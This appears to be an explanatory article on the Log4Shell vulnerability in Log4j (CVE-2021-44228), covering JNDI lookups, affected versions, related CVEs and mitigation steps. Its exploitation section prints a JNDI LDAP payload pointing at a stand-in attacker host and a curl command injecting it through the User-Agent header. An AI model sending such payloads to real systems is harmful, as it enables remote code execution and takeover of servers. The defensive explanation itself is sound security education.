You may be aware of the Log4j vulnerability and the significant risk associated with it. What’s even more challenging is coming up with an adequate response. Log4j is widely used since logging is a basic feature of many software. The Log4j vulnerability is highly severe and widespread affecting business applications, embedded devices, and their subsystems. Log4j vulnerability has put many IT enterprises at risk since the attack barrier for this threat is quite low. Hackers could easily breach enterprise networks, taking over servers, devices and applications.
What is Log4j
Log4j is a java library or packaged jar files used for logging the application’s data to log files or system consoles during run-time execution in java applications.
Log4j Vulnerability
Log4j vulnerability also referred as Log4Shell which is a RCE – Remote Code Execution
Due to this Vulnerability hackers or attackers on the web can easily execute code
on remote target server or computer.
The vulnerability is defined as CVE-2021-44228
Based on the severity scale, the vulnerability is declared as critical and assigned a Common Vulnerability Scoring System (CVSS) score of 10/10.
Exploiting Log4j Vulnerability
One of the features of Log4j is Lookups.
This feature interprets specific strings during the logging of a message.
For example, logging “Hello: ${java:version}” via Log4j gives the output as:
“Hello: Java version 1.8.0_67”
JNDI – Java Naming Directory Interface is one of the lookups supported by Log4j.
LDAP is the protocol used by JNDI and LDAP server could be a local or remote server.
For example, if a String is logged by Log4j in any Java application by using JNDI feature with LDAP as a protocol like below
“${jndi:ldap://hackerapp.com/Malicious.class}”
Log4j automatically creates a remote request to hackerapp.com, to download Malicious.class in the target server or computer and executes the java class/code in the target system, resulting in remote code execution (RCE).
Now Malicious class which is the java code created by Hacker or Attacker can be executed inside the target application server. The executable java code Malicious class can perform the tasks as per Hacker’s code logic.
For example, taking control of the target system or sending the data from the target system to Hacker’s system secretly over the web.
Assuming if a hacker can add the following string ${jndi: ldap://hackerapp.com /malicious-code-that-can-be-executed-in-target-system} to Http request header with header parameter key/name as User-Agent or username or any header param that commonly gets logged.
If the target website uses the log4j library to log the request headers along with all other information that needs to be logged, then Log4j’s JNDI feature will now do the lookup and downloads the malicious executable code from
ldap://hackerapp.com /malicious-code-that-can-be-executed-in-target-system
which can be executed on the target system resulting in the hacking of the target system.
Example by User-Agent
Generally, user-agent is the standard http header parameter key/name and its value would be used to identify the browser information which is used by end-users who will be accessing the website.
To get the value of the request header param name user-agent, developers need to add the below code in the application.
- String userAgent = request.getRequestHeader(“User-Agent”);
- log.info(userAgent)
Line 1 – User-Agent value which is browser information is derived from the request header.
Line2 – User-Agent value is logged by log4j. This data is saved in a log file, and Log4j can be exploited while processing it.
There is every possibility that hackers can define custom user-agent value like ${jndi:ldap://hackerapp.com /malicious-code-that-can-be-executed-in-target-system} that connect to a remote hacker’s server.
Hacker can easily add custom user-agent value to request header by below curl command,
curl -A “user-agent-value-here” [TARGET-URL]
curl -A “${ jndi:ldap://hackerapp.com/ malicious-code-that-can-be-executed-in-target-sytsem}” http://targetapp.com/
If a hacker sends the above request to the target system URL http://targetapp.com/ with mentioned custom userAgent value and if targetapp.com logs the request header then the hacker’s code can be executed/downloaded into the target system.
Affected Systems and Enterprises
The vulnerability reportedly affects systems and services that use Apache Log4j versions from 2.0 up to and including 2.14.1 and all frameworks (Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc.).
Log4j CVE (Common Vulnerabilities and Exposures)
CVE-2021-44228 – Apache released Log4j 2.15.0 for Java 8 to address a remote code execution (RCE) vulnerability
CVE-2021-45046 – Apache released Log4j 2.12.2 for Java 7 and Log4j 2.16.0 for Java 8 to address an RCE vulnerability
CVE-2021-4104 – Log4j 1.x is vulnerable to an attack, although at lower risk, when logging is configured with JMSAppender are impacted – CVE-2021-4104. Recommendation is to upgrade to Log4j 2.x
CVE-2021-45105 – Apache released Log4j 2.17.0 for Java 8 users to address a denial-of-service (DOS) vulnerability
CVE-2021-44832. Apache released version 2.17.1 for Java 8 users address remote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source URI when an attacker has control of the target LDAP server.
Mitigation
Log4j 1.x mitigation
Log4j 1.x is not impacted by this vulnerability. But it is highly recommended to upgrade to 2.x. https://logging.apache.org/log4j/2.x/manual/migration.html
Log4j 2.x mitigation
Implement one of the following mitigation techniques:
- Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.1 (for Java 8 and later).
- Otherwise, in any release other than 2.16.0, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- The ‘formatMsgNoLookups’ property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 that proposed it. Therefore the ‘formatMsgNoLookups=true’ mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior.
- Applications developed by Spring Boot are only affected by this vulnerability if they have switched the default logging system to Log4J2
- If Spring Boot applications have been switched to Log4j2 then upgrade the Spring Boot version 2.6.2. Spring Boot 2.6.2 has log4j 2.17.0 jar.
It is advised not to enable JNDI in Log4j 2.16.0, since it still allows LDAP connections.
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.
